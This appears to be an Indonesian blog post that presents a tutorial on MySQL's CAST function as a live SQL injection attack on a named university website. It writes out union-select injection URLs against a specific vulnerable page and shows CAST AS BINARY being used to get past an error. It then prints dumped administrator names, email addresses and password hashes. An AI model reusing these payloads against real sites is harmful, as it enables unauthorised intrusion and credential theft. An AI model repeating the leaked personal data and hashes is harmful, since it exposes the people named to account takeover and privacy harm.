Routeros Mikrotik Tutorial - Cast sql mysql

Apa fungsi cast dalam query mysql?

[+] fungsi cast ialah merubah sebuah type data ke type data tertentu.
[+] formatnya ialah CAST(ekspresi AS typedata);

fungsi ini sendiri jarang di gunakan sebab type dari mysql yang auto konversi, namun adakalanya fungsi ini harus di pakai.


disini aku mengambil kasus dimana cast di gunakan untuk mengeluarkan isu dalam sql injection

victim:
http://www.unsri.ac.id

vuln:
http://www.unsri.ac.id/main.php?id=-fak_ekonomi[sql]

cari jumlah kolomnya hingga true

sql:
http://www.unsri.ac.id/main.php?id=-fak_ekonomi'%20and%201=1%20union%20select1,2,3,4/*

ok true,

lalu coba kita keluarkan infomasi didalam tabel unsri_admin pada kolom nama,email, dan password.

(jika kau bertanya dari mana aku mampu mengetahui nama tabel dan kolom? silahkan lihat turotrial Mencari tabel dan kolom di target mysql)

SQL:
http://www.unsri.ac.id/main.php?id=-fak_ekonomi'%20union%20select%201,2,3,4,5,concat(nama,0x3a,email,0x3a,password)%20from%20%20unsri_admin/*

browser:
Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /home/users/unsri/public_html/main.php on line 21

eror di atas terjadi sebab server tidak mampu membaca type data yang kita masukan.

Disinlah perintah cast akan di gunakan

SQL:
http://www.unsri.ac.id/main.php?id=-fak_ekonomi'%20union%20select%201,2,3,4,5,cast(concat(nama,0x3a,email,0x3a,password)%20as%20binary)%20from%20%20unsri_admin/*

browser:
Desrizal:drz@telkom.net:5a28802e0a45055bbdd3b34bc645b995
iwan:iwan_pas@unsri.ac.id:e172dd95f4feb21412a692e73929961e
deska:deska@gmail.com:6a5579e0e727c66a1fb3434485ce0008
rujito:rujito@unsri.ac.id:8b4af37ba8889583d8b9009165441480


Dengan kasus di atas mudah mudahan dapat menjelaskan ihwal bagaimana fungsi cast berkeja.

Comments